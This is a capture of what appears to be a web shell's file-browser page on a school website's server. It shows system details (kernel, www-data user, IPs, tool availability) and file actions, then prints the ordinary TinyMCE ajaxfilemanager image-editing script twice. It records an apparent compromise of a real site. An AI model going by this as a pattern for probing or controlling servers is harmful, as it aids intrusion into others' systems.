Apache/2.4.7 (Ubuntu) Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data) safemode : OFF MySQL: ON | Perl: ON | cURL: OFF | WGet: ON > / var / www / html / sman1baleendahok / tiny_mce / plugins / ajaxfilemanager / | server ip : 104.21.89.46 your ip : 172.70.126.172 H O M E |
Filename | /var/www/html/sman1baleendahok/tiny_mce/plugins/ajaxfilemanager/ajax_editor_reset.php |
Size | 2.71 kb |
Permission | rw-rw-r-- |
Owner | ulung : ulung |
Create time | 27-Apr-2025 11:12 |
Last modified | 05-Feb-2025 08:55 |
Last accessed | 08-Jul-2025 00:04 |
Actions | edit | rename | delete | download (gzip) |
View | text | code | image |
<?php
/**
* reset the image
* @author Logan Cai (cailongqun [at] yahoo [dot] com [dot] cn)
* @link www.phpletter.com
* @since 22/May/2007
*
*/
require_once(dirname(__FILE__) . DIRECTORY_SEPARATOR . "inc" . DIRECTORY_SEPARATOR . "config.php");
if(!isset($_POST['path']))
{
$_POST['path'] = "uploaded/Winter.jpg" . "?" . makeQueryString(array('path'));
//for crop
$_POST['mode'] = "crop";
$_POST['x'] = 100;
$_POST['y'] = 100;
$imageInfo = @GetImageSize($_POST['path']);
$_POST['width'] = $imageInfo[0];
$_POST['height'] = $imageInfo[1];
}
initSessionHistory($_POST['path']);
echo "{";
$error = "";
$info = "";
if(empty($_POST['path']))
{
$error = IMG_SAVE_EMPTY_PATH;
}elseif(!file_exists($_POST['path']))
{
$error = IMG_SAVE_NOT_EXISTS;
}else if(!isUnderRoot($_POST['path']))
{
$error = IMG_SAVE_PATH_DISALLOWED;
}
else
{
if(!empty($_POST['mode']))
{
include_once(CLASS_IMAGE);
$image = new Image();
$image->loadImage($_POST['path']);
switch($_POST['mode'])
{
case "resize":
if(!$image->resize($_POST['width'], $_POST['height'], (!empty($_POST['constraint'])?true:false)))
{
$error = IMG_SAVE_RESIZE_FAILED;
}
break;
case "crop":
if(!$image->cropToDimensions($_POST['x'], $_POST['y'], intval($_POST['x']) + intval($_POST['width']), intval($_POST['y']) + intval($_POST['height'])))
{
$error = IMG_SAVE_CROP_FAILED;
}
break;
case "flip":
if(!$image->flip($_POST['flip_angle']))
{
$error = IMG_SAVE_FLIP_FAILED;
}
break;
case "rotate":
if(!$image->rotate(intval($_POST['angle'])))
{
$error = IMG_SAVE_ROTATE_FAILED;
}
break;
default:
$error = IMG_SAVE_UNKNOWN_MODE;
}
if(empty($error))
{
$sessionNewPath = $session->getSessionDir() . uniqid(md5(time())) . "." . getFileExt($_POST['path']);
if(!@copy($_POST['path'], $sessionNewPath))
{
$error = IMG_SAVE_BACKUP_FAILED;
}else
{
addSessionHistory($_POST['path'], $sessionNewPath);
if($image->saveImage($_POST['path']))
{
$imageInfo = $image->getFinalImageInfo();
$info .= ",width:" . $imageInfo['width'] . "\n";
$info .= ",height:" . $imageInfo['height'] . "\n";
$info .= ",size:'" . transformFileSize($imageInfo['size']) . "'\n";
}else
{
$error = IMG_SAVE_FAILED;
}
}
}else
{
//$image->DestroyImages();
}
}else
{
$error = IMG_SAVE_UNKNOWN_MODE;
}
}
echo "error:'" . $error . "'\n";
if(isset($image) && is_object($image))
{
$image->DestroyImages();
}
echo $info;
echo ",history:" . sizeof($_SESSION[$_POST['path']]) . "\n";
echo "}";
?>
/**
* reset the image
* @author Logan Cai (cailongqun [at] yahoo [dot] com [dot] cn)
* @link www.phpletter.com
* @since 22/May/2007
*
*/
require_once(dirname(__FILE__) . DIRECTORY_SEPARATOR . "inc" . DIRECTORY_SEPARATOR . "config.php");
if(!isset($_POST['path']))
{
$_POST['path'] = "uploaded/Winter.jpg" . "?" . makeQueryString(array('path'));
//for crop
$_POST['mode'] = "crop";
$_POST['x'] = 100;
$_POST['y'] = 100;
$imageInfo = @GetImageSize($_POST['path']);
$_POST['width'] = $imageInfo[0];
$_POST['height'] = $imageInfo[1];
}
initSessionHistory($_POST['path']);
echo "{";
$error = "";
$info = "";
if(empty($_POST['path']))
{
$error = IMG_SAVE_EMPTY_PATH;
}elseif(!file_exists($_POST['path']))
{
$error = IMG_SAVE_NOT_EXISTS;
}else if(!isUnderRoot($_POST['path']))
{
$error = IMG_SAVE_PATH_DISALLOWED;
}
else
{
if(!empty($_POST['mode']))
{
include_once(CLASS_IMAGE);
$image = new Image();
$image->loadImage($_POST['path']);
switch($_POST['mode'])
{
case "resize":
if(!$image->resize($_POST['width'], $_POST['height'], (!empty($_POST['constraint'])?true:false)))
{
$error = IMG_SAVE_RESIZE_FAILED;
}
break;
case "crop":
if(!$image->cropToDimensions($_POST['x'], $_POST['y'], intval($_POST['x']) + intval($_POST['width']), intval($_POST['y']) + intval($_POST['height'])))
{
$error = IMG_SAVE_CROP_FAILED;
}
break;
case "flip":
if(!$image->flip($_POST['flip_angle']))
{
$error = IMG_SAVE_FLIP_FAILED;
}
break;
case "rotate":
if(!$image->rotate(intval($_POST['angle'])))
{
$error = IMG_SAVE_ROTATE_FAILED;
}
break;
default:
$error = IMG_SAVE_UNKNOWN_MODE;
}
if(empty($error))
{
$sessionNewPath = $session->getSessionDir() . uniqid(md5(time())) . "." . getFileExt($_POST['path']);
if(!@copy($_POST['path'], $sessionNewPath))
{
$error = IMG_SAVE_BACKUP_FAILED;
}else
{
addSessionHistory($_POST['path'], $sessionNewPath);
if($image->saveImage($_POST['path']))
{
$imageInfo = $image->getFinalImageInfo();
$info .= ",width:" . $imageInfo['width'] . "\n";
$info .= ",height:" . $imageInfo['height'] . "\n";
$info .= ",size:'" . transformFileSize($imageInfo['size']) . "'\n";
}else
{
$error = IMG_SAVE_FAILED;
}
}
}else
{
//$image->DestroyImages();
}
}else
{
$error = IMG_SAVE_UNKNOWN_MODE;
}
}
echo "error:'" . $error . "'\n";
if(isset($image) && is_object($image))
{
$image->DestroyImages();
}
echo $info;
echo ",history:" . sizeof($_SESSION[$_POST['path']]) . "\n";
echo "}";
?>